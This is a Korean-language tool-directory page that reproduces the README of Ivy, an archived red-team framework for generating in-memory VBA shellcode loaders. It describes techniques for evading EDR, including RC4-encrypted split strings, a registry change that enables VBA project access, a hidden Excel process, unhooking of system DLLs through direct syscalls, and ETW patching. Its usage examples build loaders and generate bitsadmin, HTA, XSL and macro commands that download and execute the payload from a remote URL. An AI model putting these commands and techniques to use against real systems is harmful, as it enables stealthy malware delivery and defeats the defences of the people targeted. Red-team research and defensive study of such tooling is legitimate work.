Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Ivy — Ivy는 임의의 VBA(매크로) 소스 코드를 메모리에서 직접 실행하기 위한 페이로드 생성 프레임워크입니다. Ivy의 로더는 VBA 개체 환경에서 프로그래밍 방식의 접근을 활용하여 셸코드를 로드, 복호화 및 실행하는 방식으로 이를 수행합니다. | Kitploit
도구/GitHubGitHub/optiv/ivy
Payload GenerationExploitationShellcodePost-ExploitationPenetration TestingRed TeamingPayload DevelopmentArchived
GitHuboptiv/ivy

Ivy

Ivy는 임의의 VBA(매크로) 소스 코드를 메모리에서 직접 실행하기 위한 페이로드 생성 프레임워크입니다. Ivy의 로더는 VBA 개체 환경에서 프로그래밍 방식의 접근을 활용하여 셸코드를 로드, 복호화 및 실행하는 방식으로 이를 수행합니다.

저장소 보기
7431293년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이 저장소는 보관되었습니다

Ivy의 최신 버전을 보거나 이슈를 제출하려면 https://github.com/Tylous/Ivy를 참조하십시오.



추가 정보

이 프레임워크에서 사용된 기술과 이를 방어하기 위한 방어 조치에 대해 더 알아보려면 Article을 참조하십시오.

설명

Ivy는 메모리에서 임의의 VBA(매크로) 소스 코드를 실행하기 위한 페이로드 생성 프레임워크입니다. Ivy의 로더는 VBA 객체 환경의 프로그래밍 접근을 악용하여 셸코드를 로드, 복호화 및 실행합니다. 이 기술은 진정한 파일리스(fileless)에 최대한 가깝습니다. 현재 대부분의 파일리스 공격은 디스크에 어떤 파일을 떨어뜨리는 것을 필요로 하기 때문에, 이는 VBA 코드 탐지를 위한 표준 시그니처 기반 규칙을 우회합니다. 일반적인 VBA 페이로드는 다음과 같은 특성을 가집니다:

  • 매크로가 활성화된 Office 문서에 존재
  • 이러한 매크로 문서는 디스크에 존재

순수하게 메모리에서 실행되므로 이러한 동작 특성으로 인해 EDR이 탐지하기가 더 어려워집니다.

Ivy의 로더는 RC4 암호화로 암호화된 후 (AES 암호화는 많은 부풀림을 유발하고 VBA가 복호화하는 데 시간이 오래 걸립니다) 별도의 문자열로 분할되어, 어떤 샌드박스도 이 문자열을 조사해야 할 암호화된 문자열로 인식하지 못하게 합니다. 또한 이는 어떤 디코딩 메커니즘도 이 페이로드를 쓰레기 문자 외에는 인식하지 못하게 합니다.

Ivy의 로더는 먼저 레지스트리 쿼리를 수행하여 'VBA 프로젝트 개체 모드에 대한 액세스 신뢰'를 활성화합니다. 이 레지스트리 키 값은 사용자 모드에 저장되어 사용자가 상승된 권한 없이 값을 수정할 수 있습니다. 레지스트리 값은 0에서 1로 설정됩니다. 레지스트리 키가 존재하지 않으면 Ivy는 값을 '1'로 생성합니다. 이 값이 활성화되면 다른 프로세스에서 VBA 개체 환경에 대한 프로그래밍 접근이 허용됩니다.

이 작업이 완료되면 로더는 숨겨진 Excel 프로세스를 생성하고 암호화된 문자열을 VBA 함수에 로드합니다. 이는 ActiveX를 사용하여 동일한 작업을 수행하는 GUI 동작을 시뮬레이션함으로써 이루어집니다. 이는 실행을 모니터링하기 위한 많은 기존 제어를 우회하는 데 도움이 됩니다. 결과적으로 복호화 함수와 셸코드는 한 메모리 버퍼에서 다른 메모리 버퍼로 이동되어 디스크에 닿지 않습니다. 마지막으로, 로더는 command-GUI 호출을 사용하여 run 함수를 실행합니다. 이는 VBA GUI 패널에서 매크로 실행 버튼을 클릭하는 동작을 시뮬레이션하여 복호화 함수를 시작하고 이어서 셸코드를 실제로 실행합니다.

중요

대상 엔드포인트는 Microsoft Office가 설치 및 활성화되어 있어야 실행 가능합니다. Ivy는 Microsoft Office의 VBA 환경에 대한 프로그래밍 접근을 악용하기 때문입니다.

EDR 언훅 모드

이를 통해 Ivy는 직접 메모리 주소와 레지스터 값을 간접적으로 참조하여 Windows 함수 WriteProcessMemory의 자체 버전을 구축하기 위해 저수준 시스템 호출을 사용할 수 있습니다. Ivy는 메모리 변경 API 함수를 호출하지 않고도 쓰기 불가능한 메모리 섹션을 덮어쓸 수 있습니다. 이는 WriteProcessMemory의 기능 덕분인데, 이 함수는 메모리 영역의 권한을 일시적으로 쓰기 가능으로 변경합니다(충분한 권한이 있는 경우, 프로세스를 소유하고 있으므로 가능). 값을 쓰고 VirtualProtect 함수를 호출하지 않고 원래 권한을 복원하며, 대신 관련 시스템 호출(NtProtectVirtualMemory)을 자동으로 호출합니다.

Ivy는 NtWriteVirtualMemory의 자체 버전을 사용하지 않습니다. 왜냐하면 메모리 권한을 일시적으로 변경하는 이 과정이 발생하지 않기 때문입니다. 즉, 특정 메모리 주소의 보호가 수정되지 않아 실행이 실패합니다. 이는 Microsoft가 디버거를 더 안정적으로 만들기 위해 릴리스한 '기능'입니다. 디버거는 즉석에서 메모리를 수정하려고 하므로 여러 작업을 수행하지 않고도 섹션을 간단히 수정할 수 있습니다. (자세한 내용은 devblogs.microsoft.com 참조)

EDR이 보게 될 일련의 이벤트를 살펴보겠습니다:

  • Ivy는 적절한 레지스트리 값을 수동으로 설정하는 WriteProcessMemory 함수를 생성합니다.
  • 우리의 함수는 WriteProcessMemory가 저장된 정확한 메모리 주소를 호출합니다. (이는 kernel32.WriteProcessMemory를 호출하는 대신 RAX 레지스터에 대한 호출처럼 보입니다.)
  • 이는 모든 기능을 활용하면서 WriteProcessMemory를 직접 호출하지 않는다는 것을 의미합니다.
  • EDR은 메모리 주소에 대한 악성 지표와 일치하지 않는 어셈블리 문자열만 보게 됩니다.
  • 이 메모리 주소는 함수의 시작이 될 수 있지만, ASLR로 인해 함수 주소는 고유합니다. 모든 함수를 조회해야 합니다.
  • 쓰기 작업이 수행되기 전에 ZWQueryVirtualMemory 시스템 호출이 실행되어 메모리 영역의 보호를 확인합니다.
  • 이 메모리가 쓰기 가능으로 설정되지 않은 경우 NtProtectVirtualMemory가 호출되어 권한을 변경합니다.
  • 그런 다음 8바이트의 어셈블리가 특정 메모리 주소에 기록됩니다.
  • NtProtectVirtualMemory가 다시 한 번 호출되어 원래 보호 값을 복원합니다.

모든 EDR 후크가 제거되면 로더는 원격 세션을 설정하기 위해 정상적인 작업을 수행합니다.

Ivy는 EDR이 후크하는 일반적인 시스템 DLL을 언훅(unhook)하여 이를 해결합니다. 여기에는 다음이 포함됩니다:

  • Ntdll.dll
  • Kernel32.dll
  • Kernelbase.dll
  • Advapi32.dll
  • Sechost.dll
  • Ws2_32.dll
  • Winmmbase.dll

페이로드 유형 Inject와 함께 unhook을 사용할 때, Ivy의 로더는 먼저 Office 프로세스의 EDR 후크를 제거한 다음, 주입된 프로세스의 후크를 제거합니다. 이렇게 하면 두 프로세스 모두 후크가 없어져 상위 및 하위 프로세스의 모든 텔레메트리가 EDR로 전송되는 것을 방지합니다.

ETW 패칭

언훅과 동일한 기술을 사용하여 Ivy는 ETW 함수를 패치하여 프로세스에서 이벤트가 생성되는 것을 방지할 수 있습니다. ETW는 이 텔레메트리를 생성하기 위해 내장 시스템 호출을 활용합니다. ETW는 Windows에 내장된 기본 기능이므로 보안 제품은 정보를 얻기 위해 ETW 시스템 호출을 '후크'할 필요가 없습니다. 결과적으로 ETW를 방지하기 위해 Ivy는 여러 ETW 시스템 호출을 패치하여 레지스터를 비우고 실행 흐름을 다음 명령어로 반환합니다. ETW 패칭은 이제 모든 로더에서 기본값입니다. ETW를 패치하지 않으려면 -noetw 명령줄 옵션을 사용하여 로더에서 비활성화하십시오.

데모

설치

Ivy는 Go로 개발되었습니다.

첫 번째 단계는 항상 그렇듯이 저장소를 클론하는 것입니다. Ivy를 컴파일하기 전에 의존성을 설치해야 합니다. 설치하려면 다음 명령을 실행하십시오:

root@kitploit:~
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go

그런 다음 빌드합니다.

root@kitploit:~
go build Ivy.go

도움말

root@kitploit:~
$ ./Ivy -h

     ___   ___      ___  ___    ___
    |\  \ |\  \    /  /||\  \  /  /|
    \ \  \\ \  \  /  / /\ \  \/  / /
     \ \  \\ \  \/  / /  \ \    / /
      \ \  \\ \    / /    \/  /  /
       \ \__\\ \__/ /   __/  / /
        \|__| \|__|/   |\___/ /
                       \|___|/
                       (@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?

Usage of ./Ivy:
    -Ix64 string
    	Path to the x64 payload
  -Ix86 string
    	Path to the x86 payload
  -O string
    	Name of output file
  -P string
    	Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
  -debug
    	Print debug statements
  -delivery string
    	Generates an one-liner command to download and execute the payload remotely:
    	[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
    	[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
    	[*] macro - Generates an office macro that would download and execute a the loader remotely.
    	[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
  -process32 string
    	The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
  -process64 string
    	The full path to the x64 application to spawn. Please  specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
  -product string
    	Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
  -sandbox
    	Enable sandbox evasion controls (i.e. checks if the system is domain joined)
  -stageless
    	Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
  -unhook
    	Unhooks EDR's hooks before loading payload
  -url string
    	URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)

로더 생성

Ivy로 로더를 생성할 때는 64비트 및 32비트 페이로드를 생성하여 -Ix64 및 -Ix86 명령줄 인수에 입력해야 합니다. 이는 운영 체제가 64비트일 수 있지만 실행 중인 Office 버전이 실제로 32비트일 수 있기 때문입니다. 따라서 Ivy는 페이로드를 주입하기 전에 적절한 아키텍처를 감지합니다.

또한 로더를 생성할 때 두 가지 페이로드 유형이 있습니다. 첫 번째는 Inject로, 새 프로세스를 일시 중단된 상태로 생성하고 셸코드를 프로세스에 주입한 후 재개하는 프로세스 주입 공격을 수행합니다. 프로세스 주입은 편리하고 Excel이 아닌 프로세스를 생성할 수 있지만, EDR은 주입을 위해 일시 중단된 프로세스를 생성하는 행위를 매우 잘 탐지하여 발각될 수 있습니다. 더 은밀한 옵션은 Local입니다. 이는 셸코드를 현재 Office 프로세스에 직접 로드합니다. Local 옵션은 일부 Windows 시스템 호출에 대한 직접 호출을 활용하여 탐지를 회피하는 추가 기능을 제공합니다. 이는 VBA 환경이 스택 기반으로 정확한 함수를 정의하고 호출할 수 있게 해주기 때문입니다(모든 올바른 레지스터를 미리 정렬한 경우). 마지막으로, 이 페이로드 유형의 Ivy 로더에는 셸코드를 실행하기 위한 문서화되지 않은 호출이 있어 실행을 잡기가 더 어렵습니다.

프로세스 주입

Inject 모드에서 Ivy는 셸코드를 주입하기 위해 일시 중단된 상태의 프로세스를 생성합니다. 32비트 또는 64비트 시스템인지에 따라 다른 프로세스를 생성합니다. Ivy는 기본적으로 생성할 프로세스 이름을 몇 가지 제공하지만, process32 또는 process64 플래그를 사용하여 변경할 수 있습니다. 경로를 지정할 때는 \\를 사용해야 합니다.

스테이징 vs 스테이지리스 셸코드

우선, 항상 -stageless 인수를 사용해야 합니다. 그러나 스테이징 페이로드를 실행해야 하는 경우 -stageless 인수를 사용하지 않고 실행할 수 있습니다. -stageless를 사용할 때는 원시 셸코드를 사용할 수 있습니다. 그러나 스테이징 페이로드를 실행하기로 선택한 경우, Inject 페이로드 유형의 셸코드는 VBA 형식이어야 하고 Local 유형의 셸코드는 C 형식이어야 합니다.

전달

전달 명령줄 인수를 사용하면 파일을 원격 소스에서 피해자 호스트로 원격으로 가져오는 명령 또는 코드 문자열(매크로의 경우)을 생성할 수 있습니다. 이러한 전달 방법은 다음과 같습니다:

  • Bits – 로더를 원격으로 다운로드, 실행 및 제거하는 bitsadmin 명령을 생성합니다.
  • HTA – 로더가 포함된 빈 HTA 파일을 생성합니다. 이 옵션은 HTA를 백그라운드에서 원격으로 실행하는 명령줄도 제공합니다.
  • Macro – Excel 또는 Word 매크로 문서에 넣을 수 있는 Office 매크로를 생성합니다. 이 매크로가 실행되면 로더가 원격 소스에서 다운로드되어 실행된 후 제거됩니다.
  • XSL – 로더가 포함된 xsl 스타일시트 파일과 함께 로더를 원격으로 실행하는 원라인 명령을 생성합니다.

예제

스테이징 주입 페이로드

root@kitploit:~
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js

스테이징 로컬 페이로드

root@kitploit:~
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js

스테이지리스 로컬 페이로드

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js

스테이지리스 주입 페이로드

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js

notepad.exe를 생성하는 스테이지리스 주입 페이로드

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js

언훅된 스테이지리스 로컬 페이로드

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js

언훅된 스테이지리스 주입 페이로드

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js

원라인 명령 샘플

실행 불가능한 파일 유형

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless

Bitsadmin 명령

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless

MSHTA.exe 명령

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless

스타일시트 페이로드

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless

매크로 웹 다운로더

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless

알려진 문제

현재 원격으로 주입된 프로세스를 언훅하는 데 알려진 문제가 있습니다. 현재 해결 방법은 지금은 unhook BOF를 로드하는 것입니다.

도구 다운로드